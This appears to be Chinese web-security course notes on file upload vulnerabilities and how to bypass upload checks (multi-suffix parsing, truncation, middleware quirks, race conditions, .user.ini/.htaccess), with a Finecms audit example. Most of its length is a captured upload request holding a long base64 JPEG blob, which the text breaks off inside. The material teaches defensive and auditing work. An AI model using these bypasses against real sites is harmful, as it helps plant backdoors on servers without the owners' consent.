总览

知识点：

1、白盒审计三要素
2、黑盒审计四要素
3、白黑测试流程思路

详细点：

1、检测层面：前端，后端等
2、检测内容：文件头，完整性，二次渲染等
3、检测后缀：黑名单，白名单，MIME检测等
4、绕过技巧：多后缀解析，截断，中间件特性，条件竞争等

本章课程内容：

1、文件上传-CTF赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析

前置：

后门代码需要用特定格式后缀解析，不能以图片后缀解析脚本后门代码(解析漏洞除外)
如：jpg图片里面有php后门代码，不能被触发，所以连接不上后门
如果要图片后缀解析脚本代码，一般会利用包含漏洞或解析漏洞，还有.user.ini&.htaccess

实践

白盒审计-Finecms-代码常规-处理逻辑

黑盒审计

从用户中心处上传头像，发现数据包有如下数据

data%3Aimage%2Fjpeg%3Bbase64%2C%2F9j%2F4AAQSkZJRgABAQAAAQABAAD%2F%2FgAXR2VuZXJhdGVkIGJ5IFNuaXBhc3Rl%2F9sAhAAKBwcIBwYKCAgICwoKCw4YEA4NDQ4dFRYRGCMfJSQiHyIhJis3LyYpNCkhIjBBMTQ5Oz4%2BPiUuRElDPEg3PT47AQoLCw4NDhwQEBw7KCIoOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozv%2FwAARCAEMAQsDAREAAhEBAxEB%2F8QBogAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoLEAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5%2Bjp6vHy8%2FT19vf4%2BfoBAAMBAQEBAQEBAQEAAAAAAAABAgMEBQYHCAkKCxEAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3%2BPn6%2F9oADAMBAAIRAxEAPwD2agAoAKACgAoAKACgAoAKACgAoAKAILq%2BtLGPzLu5igX1kcL%2FADpOSW7NKdGpVdoRb9DBvPH%2FAIetSQty9ww7Qxk%2FqcD9axeIprqenSybGVN429WUv%2BE9ubn%2FAJBvhu%2BuVPRiCP5A1Pt2%2FhidH9jwh%2FGrRX9ebQf294zn5t%2FDcaA9PNb%2FABYUe0rPaIfU8sj8Vdv0%2FwCGYfbfiC3%2FADCrBP8AgQ%2F%2BLo5q%2FZB7LKF%2Fy8l%2FX%2FbofbfiCv8AzC7B%2FwDgQ%2F8Ai6Oav2Qeyyh%2F8vJf18g%2Ft3xrDzP4chfHXym%2FwY0c9ZbxD6nlkvhrNev%2FAAyD%2FhOr22%2F5CPhm9t1HVhkj9VH86PbtfFEP7HpT%2FhV4v%2BvVlu0%2BIPh%2B6IDzy2xPaaM%2FzGRVLEU2YVclxkNkn6P%2FADsb1pqFlfpvs7uG4Hfy3DY%2FKtVJS2Z5lWhVpO1SLXqizVGQUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFADZJEijaSR1RFGSzHAH40bDjFydktTmdQ8eafDN9l0yGXVLk8BYB8ufr3%2FAGueVeK0jqz2KOT1pR56zUI%2Bf9fmVPs%2FjbXeZriLRrdv4U%2F1mPw5%2FUVNq099DfnyzC%2FCnUl%2BH9fJli1%2BHmlI%2FnX81zqEp%2B8ZZCAfy5%2FWqWHju9TKpneIa5aSUV5L%2BvyN6z0bTLDH2Swt4SP4ljG78%2BtaqEY7I8yriq9X45t%2FMu1ZzhQAUAFABQAUAU7vSdOvwftdjbzE93jBP59alwjLdG9LE1qXwTa%2BZg3nw90aZ%2FNs2nsZRyrQyEgH6H%2BhFYvDwe2h6dLO8TFWqWkvNFb7D400Pm0vYtXt1%2FwCWc338fjz%2FAOPGp5a0Nnc29tlmK%2BOLpvutv6%2BRYsvHlmZxa6xazaXc9xKpK%2FnjI%2FEY96qNdXtJWMquT1OXnoSU4%2BW51EM0VxEssMiSxsMq6MCD%2BIrdNPY8aUZQfLJWY%2BmSFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFAHM6t40tra4%2BwaTC2p3xOAkXKKfcjr%2BH5isJ1knaOrPYw2VTnH2td8kPPcpR%2BFdX16RbjxNqDCPOVsrc4Vfqen8z71CpSnrUfyOiWY4fCrkwcNf5n%2FX%2BXodPp%2BlWGlQ%2BVY2scC99o5b6nqfxrojCMdkeNXxFWvLmqyuXKowCgCpeapp%2BnjN5ewQe0kgBP4VLlGO7N6WHrVf4cW%2FRGJdfEHw9b5CXEtwR2iiP8zgVk8RTR6NPJcZPdJer%2FwArlT%2FhYSz%2FAPHjoV%2FcDt8uP5ZqfrF9os3%2FALEcf4lWK%2Fr5Cf8ACY68%2FMfhC8A%2F2i%2F%2FAMRR7af8gf2XhFviV%2BH%2BYf8ACXeIV%2B94Ruj9C3%2FxNHtqn8gf2Zg3tiF%2BH%2BYf8J5eRc3fhi%2FhHc8n%2Baij27W8WH9j05fBXi%2F69WTQfEfQ5G2zpdWx7%2BZFkD8iaaxMOpE8ixSV4tP0f%2BZsWfiXRb%2FAttTt2Y9FZtjH8Dg1oqkJbM8%2BrgMVS%2BOD%2FP8AI060OMWgCtfadZalB5N7bRzp6OucfQ9vwqZRUlZo2o16tGXNTlZnLTeENR0aVrrwvqDxZOWtJmyjfQn%2Bv51g6Moa02ezDM6OJXJjYX%2FvLf8Ar0%2B4s6Z41jNyNP122bTL0cfPxG30Pb%2BXvTjW15Z6MyxGVS5fa4aXPH8f6%2Fqx1AIIyDkGug8UWgAoAKACgAoAKACgAoAKACgAoAKACgCrqOpWmlWjXV7MsUS9z1J9AO5qZSUVdm1ChUrzUKauzkjLrfjdisG%2FS9GJwXP%2BsnH%2Bfw%2Btc151ttEe7y4XLFeXv1fwX9ff6HT6Roen6Hb%2BTYwBM%2FekPLv9T%2FkV0QhGCsjxsTi62JlzVH8uiNCrOUhubq3s4Gnupo4Yl6u7ACk2krsunTnUlywV2cvdeO0uJza6Bp8%2BpTf3wpCD39f5fWud17u0Fc9qnk7hHnxU1Bfj%2FX3kX9j%2BMNb51LVU02Fv%2BWNt94e3H%2FxRpclWfxOxf1rLsN%2FBp877v%2Bv0Rbs%2Fh9odud9wk15IeS00h6%2FQY%2FXNUsPBb6mFXOsVPSDUV5L%2FADNy10jTbLH2Wwt4SO6RAH862UIrZHm1MTWqfHNv5lyqMAoAKACgCGe0trpdtxbxTD0kQMP1pNJ7lwqThrBtehjXngjw%2Fe5JsFhY%2FwAUBKY%2FAcfpWUqFN9D0KWbYyn9u%2Frr%2FAMEzD4N1bSvm0DXpowOkFxyv%2BH%2FjtZ%2BxlH4JHb%2FamHr6Yqin5rf%2FAD%2FEQeK9c0QhPEOjs0Q4%2B1W3I%2FHt%2Bo%2BlHtZw%2BNB%2FZ2FxOuEqa9n%2FAFf8zo9L13TNZj3WN2kpAyU6Ov1B5reNSM9meTiMHXwztVjb8vvNCrOUpappFhrNsbe%2Bt1lX%2BE9GU%2BoPaplCM1ZnRh8TVw8uak7HKGPW%2FBDFoS%2BqaMOqH%2FWQD%2FD9PpXNadHbVHtqWFzPSXuVfwf9ff6nV6Vq1lrNmt1YzCRD94dGQ%2BhHY10wmpq6PExGGq4afJUVmXao5woAKACgAoAKACgAoAKACgAoAyte8QWfh%2Bz864O%2BV%2BIoVPzSH%2FD3rOpUUFdnbg8FUxc%2BWG3V9jC03w9e6%2FeLrHibp1gseioP9of0%2FP0rKNNzfNU%2B49KvjqWEh9Xwfzl39P69O52KqFUKoAUDAAHArpPBbbd2BIUFmIAHJJ7UCSucrqPjMy3R07w7anUbs8GQf6tPfPf9B71zyrXfLBXZ7dDKuWHtcXLkj%2BL%2FAK%2B%2FyIrXwXcajOt74nv3vJeot0bEae3H9MfjSVFyd6juXUzWFGPs8HDlXfr%2FAF63OqtbS2soBBawRwRjosagCuhJJWR4tSrOrLmm7vzJqZmFABQAUAFABQAUAFABQAUAIQGBBAIPUGgNjnNV8EabfSfabItpt2pystvwM%2B6%2F4YrCdCL1WjPXw%2BbV6S5Knvx7P%2FP%2FADuZ6a9rvhd1g8Q25vLPO1b2EZI%2F3v8A6%2BD9aj2k6ek9V3Op4PC45c2FfLL%2BV%2Fp%2FX3HV2N%2FaalbLc2U6TRN0ZT09j6H2rojJSV0eHWo1KM%2BSorMsEZGDVGRyOreGbrS7w6z4ZPlTjma0H3JR3wP6flg1zTpOL5qZ7uGx9OvD6vjNV0l1X9d%2FvNfw94jtdftiUBhuouJrdvvIf6itKdRTXmcONwNTCS11i9n3NitTgCgAoAKACgAoAKACgAoAyvEGv23h%2Bw8%2Bb55X%2BWGEHmRv8PU1nUqKCuztwWCni6nLHRLd9jI8P%2BHrm5vP7f8AEH7y%2Bk5hhYfLAO3Hr7dvrWdOm2%2Bee53Y3GwhD6rhdILd9%2F6%2FH0OsroPEKuo6laaTZvd3swjiTuepPoB3NTKSirs2oUKleap01dnIbdZ8dSZYyabomeB%2FHOP6%2FwAvrXN79byie9fDZWtPfq%2Fgv6%2B%2F0Ot03SrLSLUW1jAsSDqR1Y%2BpPc10xgoqyPCr4iriJ89R3ZcqjAKACgAoAKACgAoAKACgAoAKACgAoAKAGyRpLG0ciK6MMMrDII9xRuNNxd1ucfqHha90a6bVPC0hjbrLZMcpIPb%2FAA%2FIiuaVJwfNT%2B496hmFLEw9jjVftLqv6%2F4c1vD3ie21xWhZDbX0XEttJwR6keo%2FlWlOqp6dThxuXzwr5k7wezNytTzjl%2FEfhuaS4Gt6I3kanD8xC8Cceh9%2F59DWFSm788Nz2cDj4qP1fE603%2BBf8N%2BIodetGyvk3cPyzwHgqfUe1VTqKa8zmx2BlhZ94vZmzWp54UAFABQAUAFABQBT1TU7bSNPlvbp9scY6d2PYD3NTKSirs3w%2BHniKipw3ZzXhzS7nXNQ%2FwCEm1lfmb%2Fjztz0jXs2P5fn6VhTi5v2kvkexjsRDDU%2FqeH%2FAO3n3fb%2FAD%2B47Guk8Az9a1m00LT2u7tuBwiD7zt6ConNQV2dWFwtTFVFTh%2Fwxzmm6JfeJ7xNZ8RLstxzbWPYD1Yf5z9OKwjB1HzT%2B49avi6WCg8PhPi6y%2Fy%2FrT1OyACqFUAADAA7V1Hz7d9WLQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAc94i8LrqjrqFhJ9k1SHmOZeN%2BOzf41jUpc2q0Z6uBzB0F7Kquam91%2FkN8OeJZL6d9K1WL7LqkHDIeBKPUfz%2FAFHHRU6t3yy3HjsAqUVXoPmpv8PX%2BvU6OtzyTkvE%2BjXNldjxJoo23cPNxEBxMnfjucdf8RXNVg0%2BeG57mX4qFSH1PEfC9n2f9f1Y3dF1i21zTY722PDcOhPKN3BraE1NXR5uLws8LVdOf%2FDo0Ks5QoAKACgAoAQkAZJwBQBxADeOPEZY5Oi6a%2BAO07%2F5%2FT61yfxp%2BSPo3bLMLb%2Fl7P8ABf1%2BPoduAAAAMAdAK6z5wq6nqVtpNhLe3b7Y4x%2BLHsB7mplJRV2b4ehPEVFTgtWcvoul3XibUV8Q62mLdebK0PQDsx%2Fzz9MVzwi6j55%2FI9nFYingqTwuHev2pfp%2FW3qdnXUfPhQAUAFABQA1mCjJoAga9iU4LCgBPt8P94UAOS7ic4BFAE4IIyKAEdwgyTQBA19Ep%2B8KAE%2B3w%2F3hQA9LqNzwRQBMDmgBaACgAoAKACgDA8TeGxrESXVo%2FwBn1K2%2BaCYHGcc7SfT%2BVY1afPqtz08vx31duE1eEt1%2BonhfxE2rRyWV8nkana%2FLPEeN2ONw%2FrRSqc2j3Q8wwKw7VSm7wls%2F0OgrY8s4i%2FjfwV4hGpW6n%2Byb9ttxGo4ib1A%2FMj8R6Vyy%2FdT5lsz6OjJZlhvYy%2FiQ2fdf1%2BjO1R1kRXRgysMqwOQRXUfOtNOzHUCCgAoAKAOW8aapOIoNB085vdRO04P3I%2B5%2FHn8Aa560n8Ed2e1lWHjeWJq%2FDD8%2F6%2FQ29H0uDRtMhsbcfLGPmbu7dyfrWsIqEbI83FYieJqupLqXWYKpZiAAMkntVnOlfRHDor%2BO%2FEBkbcNE098KOgnf%2FP5D61yfxp%2F3UfSNrK8NZfxZ%2Fgv6%2FH0O4ACqFUAADAA7V1nzbd9WLQAlADGmROpoAZ9ri%2FvUAH2uL%2B9QBVuLpJZo4Q332A4oApaz4g0XQbiO3voyHdN67Yt3GcdfwrKdWMHZnoYXLq%2BKi5U7WRn%2FAPCeeF%2F7j%2F8AgPUfWKZ1f2HjOy%2B81dH1bSvEEMzWCECIgMTHtIJ6YrSFSM9jhxWCq4VpVOpZs71CmGYEjitDjAzpc3iQ5yDkkDvQBmap4q0DSL97G7jYTRgE7YcjkZHP41jKtCLsz08PleIxFNVIWs%2FMqf8ACeeF%2FwC4%2FwD4D1P1imb%2FANh4zsvvNixv9P1jSmv7FSsalgGKbTkVrCamro83E4aphqns6m5Ztr2N4gS1Wc5N9ri%2FvUAKtzG3RqAJQQRxQAtABQAUAcn4t0a4jmj8RaQNt%2FacyKo%2F1qDrx3wPzH4Vz1oP447o9vLcVBxeEr%2FBLbyf9fibmiavBrmlxX1vwG4dM8ow6g1rCanG6POxeGnharpy%2FwCHRPqNhBqlhNZXK7opl2n1HoR7g805RUlZmdCtOhUVSG6Oa8G309lcXPhnUG%2F0iyJMDH%2BOP2%2FMEex9qwoyabpy6Hr5pRhUjHGUtpb%2BT%2Fr8fU66uk8IKACgCOeeO2t5J5mCxxKXdj2AGTSbsrsqEJTkox3ZyXg%2BCTWNTvPFF2pBmYx2qn%2BBBwf8Pz9a56K5pOoz3cznHD0oYKHTV%2Bv9a%2FcdjXSeAcn4z1Gedrfw5pzf6XfnEhH8EffP15%2FAGuetJu0I7s9vKqEIqWLq%2FDDbzf8AX4nQ6XpsGkadDY2wxHEuM92Pcn3JraMVFWR5eIrzxFV1J7st1RgFAEczbIyaAKMklnb2D39%2FJtiXlmOcKM47Um1FXZpSpTqzUIK7Zmf8JN4S%2FwCf6P8A75f%2FAArP21Pud39lY3%2Fn3%2BX%2BYf8ACTeEv%2Bf6P%2Fvl%2FwDCj21PuH9lY3%2Fn3%2BX%2BYL4m8JLIsgvotynIOx%2BP0o9tT7h%2FZWN%2F59%2Fl%2FmcV4%2B1ax1fVbaawuBOiQbWYAjB3E9648ROMpJo%2BnybDVcPRlGqrNv8AQ5auc9o7f4f67pmkWt6l%2FdrA0jqVBUnIAPoK68PUjFO7PnM6wdfETg6Ub2udKPEnhBScXsQz6K%2F%2BFdPtqfc8H%2Bysb%2Fz7%2FL%2FMfF4o8Jwy%2BbHfRK%2BMZ2P%2FAIUe2p9w%2FsrG%2FwDPv8v8zzvxjfWupeJbm6s5RLC6ptcAjOFAPWuCtJSm2j6%2FK6M6OFjCorPX8zErI9I9E8F%2BItG07w39jv7xIpDI5KMrHg%2FQV20KkIws2fJ5tgMTXxPPTjdWXY2V8SeEVGFvYgP91%2F8ACt%2FbU%2B55X9lY3%2Fn3%2BX%2BYv%2FCTeEv%2Bf6P%2FAL5f%2FCj21PuH9lY3%2Fn3%2BX%2BZc03UdC1aR4tOuFldF3MFDAgevNVGpGWzMK%2BDr4dKVWNky9auQ7xsclCRmrOQt0AFABQAUAcQR%2FwAIZ4tBHy6TqpwR%2FDFJ%2FQc%2FkfauX%2BFU8mfRL%2FhRwf8A08p%2Fiv6%2FH1O3rqPnTkfG1nNaPaeJLJf9IsHAlA%2FjjJ7%2FAJ4%2BjGuaumrTXQ93Kasailg6m09vX%2BvyOnsryLULKG7gOY5kDr%2BNdEWpK6PGq0pUqjpy3RPTMwoA5Px5eSvaWuiWp%2F0jUpQhx2QEf1x%2BANc9duygup7mT0oqcsTPaC%2FE6SwsotOsILOAYjhQIvvjvW8YqKsjyK1WVapKpLdjrq5is7WW5nbbFChdj7AZobSV2TTpyqTUI7s5XwXay6jdXnie9X97duUgB%2FgQccfkB%2BHvXPRTk3UfU9vNakaMIYOntHf1%2FrX5nYV0nghQAUAQXf8AqDQBg%2BJ%2F%2BRDu%2FwDcH%2FoYrGv%2FAA2ellP%2B%2B0%2F66M8hrzD9BCgAoAKACgAoAKACgAoAKACgAoAKAO3%2BF3%2FIWvf%2BuA%2F9CFdeF%2BJnznEP8GHr%2Bh3tp%2Fx9z%2F8AXQ%2FzruPjy%2FQAUAFABQBl%2BI9HTXNFnsiB5hG6Jj%2FC46f4fQ1nUhzxsduBxTwteNTp19Cl4L1d9U0QRXBP2uzbyZg3XjoT%2BH6g1NGfNHXdHRmuGVCvzQ%2BGWqNy4t47q2kt5l3RyoUdfUEYNatXVmebCcqclOO6OV8DzyWNxqHhy5bMljIWiz3Qn%2BXIP%2FAq56Ds3B9D283hGrGni4bSWvr%2FAFp8jr66TwQoA4zS%2FwDiefEG%2B1A%2FNBpqeRF6buR%2F8X%2BYrlj79Vy7H0GI%2FwBly2FLrPV%2Bn9WOzrqPnzkfHl1LPDZ6Dan9%2FqMwDeyAjr%2BOPyNc1dtpQXU93J6cYyniZ7QX4%2F1%2BZ1FnaxWNnDawLtjhQIo9gK6EklZHjVakqs3OW71JqZmFABQBFcLuiIoAzrzTV1jw9NpvneUZBtL7d23DZ6ZHpUTjzRcTpwmI%2Br1o1bXscr%2Fwqtf%2Bgyf%2FAAG%2F%2Byrm%2Bq%2BZ9B%2FrE%2F8An3%2BP%2FAD%2FAIVWv%2FQZP%2FgN%2FwDZUfVfMP8AWJ%2F8%2B%2Fx%2F4BGPhjbmYwDXV80LuKeQNwHrjd0pfVle3MV%2Fb8%2BXm9lp6%2F8AAOb8U%2BHR4bvobYXRuPNi37vL245Ix1PpWFWn7N2uevl%2BO%2BuU3PltZ23uYlZHonSeFfCI8Sw3EhvTbeQyrjyt%2Bcg%2B49K3pUfaJ6nkZjmf1KUVy3v52%2FQ3%2FwDhVa%2F9Bk%2F%2BA3%2F2VbfVfM8z%2FWJ%2F8%2B%2Fx%2FwCAH%2FCq1%2F6DJ%2F8AAb%2F7Kj6r5h%2FrE%2F8An3%2BP%2FAOO8QaQND1ibTxP5%2FlhTv27c5APTJ9a5akOSXKe%2FgsT9aoKra1zNqDrOt8N%2BBl8QaUL46iYMuybPJ3dPfcK6adDnje54WPzd4St7Lkvp3%2F4Brf8KrX%2FAKDJ%2FwDAb%2F7KtPqvmcX%2BsT%2F59%2Fj%2FAMAP%2BFVr%2FwBBk%2F8AgN%2F9lR9V8w%2F1if8Az7%2FH%2FgG14Y8Hr4aup7j7f9o82PYQYtmOc56mtaVH2bvc87MM0%2BuQUeS1n3v%2Bhs2YDTSyLyGckGtzxy7QAUAFABQAUAcXKP8AhHfiHHIPltNZXa3oJP8A9eP%2B%2BzXK%2FwB3V8mfQR%2F2zLWvtU%2Fy%2FwCG%2FI7Suo%2BfOM8S%2FwDEl8YaVri%2FLFOfs9we3pk%2Fgf8Ax2uWp7lRTPoMB%2FtOCq4Z7rVf1%2FW52ddR8%2BVNVvRp2lXV4f8AlhEzgepA4H51M5csWzfD0vbVo0%2B7ML4f2RtvDS3D8yXkjSsT1xnA%2Fln8ayw8bQv3PSzqrz4pwW0UkdRW54xxmmf8Tr4iX983zQ6YnkR%2Bzcj%2FAOLrlj79ZvsfQYj%2FAGbLIU%2Bs3d%2Bn9WOzrqPnwoAKACgBCMjFAFaSzVzkcH2oAry2IRCTI3%2FfRoAi06NbZLi%2BnlYRqp5ZjgKOSf8APpSbtqVGLlJRjuzyTV9Yn1PXJ9TV3jd3zGVOCijhRn6V5U5uUuY%2FRsNhYUcPGja%2Ffz7lqDxHNcTxf2tZxattARfOyJAM9Aw9z3BqlUbfvK5jPAxhF%2Bwk6fXTb7v8rHeR6f4HaNWkGlxuQCyfalO09x96uzlo%2BR8zKvmibtzNf4X%2FAJGhp9z4W0lHWwvtOgWQgsFuV5x%2BNXF047NHJXp4%2Bu06sZO3k%2F8AIhLeGyxY63DknP8Ax%2Fj%2FAOKqvaQ7ow%2BpYn%2Fn3L7mS2t14es5vOj1q3LYxh74Eflmj2kO6D6lif8An3L7mYet6H4a1vVJdQl8R28byBQVSePAwAPX2rnnCnOV3I9rCYvG4aiqUaLaXkyh%2FwAIb4W%2F6GiL%2Fv8Axf41HsaX8x0%2F2pj%2FAPnw%2FuZ0miN4f0TSjp0eu2ssZZiWa5QHn6Guim4QVlI8fGRxeKq%2B0lSa%2BTHA%2BGh%2FzG4f%2FA8f41ftId0cn1LE%2FwDPuX3MN3hv%2FoNw%2FwDgeP8AGj2kO6D6lif%2BfcvuZYtbXR73cllqIuGUZIjuRJj6jJpqUXszOpQq0lepFr1TResfkDRnqhwaoxLlABQAUAFABQBy%2Fj%2Bxa58Om7iyJrKRZkYdQM4P88%2FhWGIjeF%2Bx7OS1lDE8ktpKxu6VfLqWlWt6uP38SuQOxxyPzzWsJc0UzzcTRdGtKm%2BjMrxxYfb%2FAArdYGXt8TL7bev%2FAI7ms68eaDO3KK3ssXHs9Pv%2FAODYu%2BHtQ%2FtLw%2FZXbNlniAc%2BrDg%2FqDVU5c0EznxtH2OJnBdH%2BG6Mn4iXRg8LtCv3rmZI8Dr%2FAHv%2FAGWs8Q7Qsd2SU%2BfF8z%2Bym%2F0%2FU6DTrUWOm21ovSCJU%2FIYraKskjy69T2tWU%2B7bHXtytlY3F0%2F3YI2kP4DNOTsmyaVN1KkYLq0jmvh3bMnh97yTmS8naQse4HH8wfzrDDr3L9z188qJ4lU1tFJfr%2FkdZXQeIFABQAUAFABQBQu3aaVbeM8seT6D1oA5f4ha0un6ZHo1s2JLhcyY%2FhjH%2BJ%2Fka5cTUsuVdT6LI8H7Sp7eW0dvX%2FgHmdcB9idT8P9FOpa6LqRMwWWJDnoX%2FhH9fwrow8OaV%2Bx4udYr2OH5FvLT5df8jmJP9a%2F%2B8a52ezHZDaBhQAUAFABQAUAFABQB3Pwu%2F5CV9%2F1xX%2BddeF3Z83xD%2FCh6nd2f%2FHzP%2F10b%2Bddx8gX6ACgAoAKACgCC8tlvLKe1f7s0bIfoRilJXVjSlUdOpGa6O5zXw7uWfQJLKTiSznaMj0B5%2FmTWGHfuW7HsZ5TSxCqLaST%2Fr8DqJ4UuLeSCQZSRCjD2IxW7V1Y8WEnCSkt0eLxa5qWlIbCOTasDMuPfJz%2BteWpyjofoUsJQrv2rW53Xjb%2FAEnW%2FD9h1WS53OPbKj%2BWa7K%2Bsoo%2Bayn3KFer2X%2Bf%2FAOyrpPAMDxvcG28I3zA4LqsY%2FFgD%2Bmaxru1Nnp5TDnxkF21%2B5Fzw3bC08N6fDjBFujEe5GT%2BpqqatBIwx8%2FaYqpLzf%2BRp1ocYUAFABQAUAV7qdYYySaAKclzDpGnT6pfNtCrkjvjso9yamUlFXZtQozr1FThuzxvVdSm1bUp764PzzNnHZR2A%2Bg4rypycpXZ%2BjYehHD0o0o7IqVJue1eFNIj0bQLeBcGSRRLKw7sR%2FTgfhXqUockEj88zHEvE4iUnstF6I45%2FhhqDOzf2hbcnP3Wrm%2Bqy7nvriCilbkf4Df%2BFXah%2F0ELb%2FvlqPqsu4%2F9YaP8j%2FAP%2BFXah%2F0ELb%2FAL5aj6rLuH%2BsNH%2BR%2FgH%2FAAq7UP8AoIW3%2FfLUfVZdw%2F1ho%2FyP8A%2F4VdqH%2FQQtv%2B%2BWo%2Bqy7h%2FrDR%2Fkf4B%2Fwq7UP%2Bghbf8AfLUfVZdw%2FwBYaP8AI%2FwMTxJ4WuPDQtjPcRzfaN2NgIxtx6%2FWsalJ07XPRwGYwxnNyxatb8f%2BGMOsj0jo%2FD3gy68RWD3kF1DEqSmPa4OcgA54%2Btb06Lmrpnk43NaeEqKnKLelztfCHhG58OXdxNPcxTCZAoCAjHOe9dVGi6bbbPnczzKGMhGMYtWZvWi%2FvpXHIZyQfxroPELtABQAUAFABQAUAcb4W%2F0Pxp4gsBwHcTAenOf%2FAGcVzUtKkke%2FmH7zA0KvbT%2BvuOyrpPAPE%2FFdv9m8U6jGBjM5f%2Fvr5v615VVWmz9Fy6fPhKb8vy0O61n998TNFh67IC%2F%2FAKGf%2FZa7J61oo%2BZwvu5VWl3dvy%2FzOyrpPAOR%2BJUhTw1Gg%2F5aXKLj8GP9K5sT8B7uQxvim%2Byf6HVQxiGCOIdEUL%2BQroWiPEnLmk33JKZIUAFABQBHLII0JNAFOGM3Un2iXiJDlQe%2Fv9KAPNvHHij%2B2r37HaPmyt24I6St%2Fe%2Bnp%2F8AXrzq9XndlsfcZRl%2F1an7Sa99%2Fgu3%2BZytc57YUAe728QktLFiSPLVWGDjPyEf1r2I7I%2FMKv8AEl6s57WfH9to2qz6fJYyytCQC6uADkA%2F1rCeIUJctj2MLk08RRjVU0rlL%2FhaVn%2F0DJ%2F%2B%2FgqPrS7HT%2Fq9U%2FnX3B%2FwtKz%2FAOgZP%2F38FH1pdg%2F1eqfzr7g%2F4WlZ%2FwDQMn%2F7%2BCj60uwf6vVP519wf8LSs%2F8AoGT%2FAPfwUfWl2D%2FV6p%2FOvuOk0%2FVV1zQF1GEPbB8kAtyNrf1x%2BtdEJ88eY8TF4Z4as6Td7HKfFT7ul%2FWX%2FwBkrmxXQ9%2Fh3%2Fl78v1PPa4j6o9Q%2BGxI8LXRBwRdPj%2FvhK9DDfB8z4vP%2FwDeo%2F4V%2BbN2xhnmhBlnkcHqCxrpPANKKMRrgUASUAFABQAUAFABQBx0H7j4rXHb7RZj8eF%2F%2BJrmWld%2Bh78%2FeyiPlL%2FP%2FM7Guk8A858VaN9q8SXU%2BzO7Z%2F6AoriqwvNs%2Bsy7FezwsY%2Bv5s1Lz5vitY%2F7Nmf5P%2FjWj%2Fjr0OKlplE%2F8X%2BR2VdJ4Bx3xJ50mxHY3i5%2F75aubE%2FCvU9%2FIf40%2FwDD%2BqOxrpPACgAoAKACgCndAPLHGxwrMAaAOT%2BI2sXthaQ6dbRmKC5U75h3A%2FgHp7%2F%2FAK65cTNpWXU%2BjyLC0qs3Vlq47L9TzSuA%2BwCgAoA96s%2F%2BPK1%2F65r%2FAOg17EdkfmFX%2BJL1Z5H44%2F5HC%2F8A95P%2FAEBa82v%2FABGfeZR%2FuUPn%2BbMGsT0woAKACgD1nwb%2FAMiHB%2F20%2FwDQzXpYf%2BGj4LOf99n8vyRkfFT7ul%2FWX%2F2SssV0PT4d%2FwCXvy%2FU89riPqj1D4b%2FAPIq3X%2FXy%2F8A6Alehhvg%2BZ8Xn%2F8AvUf8K%2FNnTab%2FAMe4%2BldJ4BdoAKACgAoAKACgAoA42fj4rW2O9mc%2Fk1cz%2Fjr0Pfh%2FyKJf4v8AI7Kuk8A5%2FU4Q%2BoSscc4%2FkKxktT1MPNqmkZuofJ8VdMJ6PaEfpJ%2FhUS%2Fjr0OujrlFTyl%2F8idlXSeAcf8AEtT%2FAMI%2FbyD%2BC7U%2F%2BOtXNifgR72Qv%2FaZLvF%2Fmjr1YMoYdCMiuk8JqzsLQIKACgAoArXkPmxHHWgDL1rTF8SeH5bRwBcJzGT2kHT8D0%2FGs6sOeNjuwGKeFrqp02foePw2dzcXi2cULNcM%2BwR453eleWk27H6DOrCEPaSem9yxrWmPo2qy6fI4d4gm5h0yVDHH51U48krGWFxCxFFVUrJ3%2FOxRqDpPerP%2FAI8rX%2Frmv%2FoNexHZH5hV%2FiS9WeR%2BOP8AkcL%2FAP3k%2FwDQFrza%2FwDEZ95lH%2B5Q%2Bf5szdGVX1uwVlDK1zGCCMgjcKzh8SOvFNqhNrs%2FyPaJrCxi27dIilz%2FAHIo%2BPzxXq8sex%2Bd%2FWK387%2B9nKfEmztbbRLZoLaGJjcgEogUkbW9K5sSkoqx72Q1ak68lKTenfzR5tXCfXHrPg3%2FAJEOD%2Ftp%2FwChmvSw%2FwDDR8FnP%2B%2Bz%2BX5IyPip93S%2FrL%2F7JWWK6Hp8O%2F8AL35fqee1xH1R6h8N%2FwDkVbr%2FAK%2BX%2FwDQEr0MN8HzPi8%2F%2FwB6j%2FhX5s6bTf8Aj3H0rpPALtABQAUAFABQAUAFAHHf634rcf8ALGz5%2FL%2F7Kubev8j3%2Fhyj1l%2FX5HY10ngHKa1fJDq00ZbBG3%2F0EVzzlaR7eEouVFP%2BtyDxJ%2Fo%2Fjvw%2FcngSExZ%2FHH%2Fs9KppVizTAe%2Fl9eHbX%2BvuOyrpPAOa%2BIEHneEblgMmJ0f%2FAMeA%2FrWGIV6bPXyWfLjIrvdfgbGjT%2FatEsZ858y3Rj9dozWsHeKZwYqHJXnHs3%2BZdqjnCgAoAKAEIyMUAUQPst7uziOThv6f596AIrTw9YWes3WrRx%2F6Rc9SeieuPqeTWapxUnI7auNrVKEaDfux%2FH%2FhjzDx3%2FyOV%2F8AWP8A9FrXBX%2FiM%2Byyf%2FcYfP8ANnP1ieoe9Wf%2FAB5Wv%2FXNf%2FQa9iOyPzCr%2FEl6s8j8cf8AI4X%2FAPvJ%2FwCgLXm1%2FwCIz7zKP9yh8%2FzZi21w9pdRXMeN8Lq656ZByKyTs7noVIKpBwezVjqf%2BFla9%2FctP%2B%2FR%2FwAa6PrMzxv7Bwnd%2Ff8A8Azdb8Walr9qlterAEjfePLQg5wR6%2B9ZzqymrM68JltHCTc6d7tW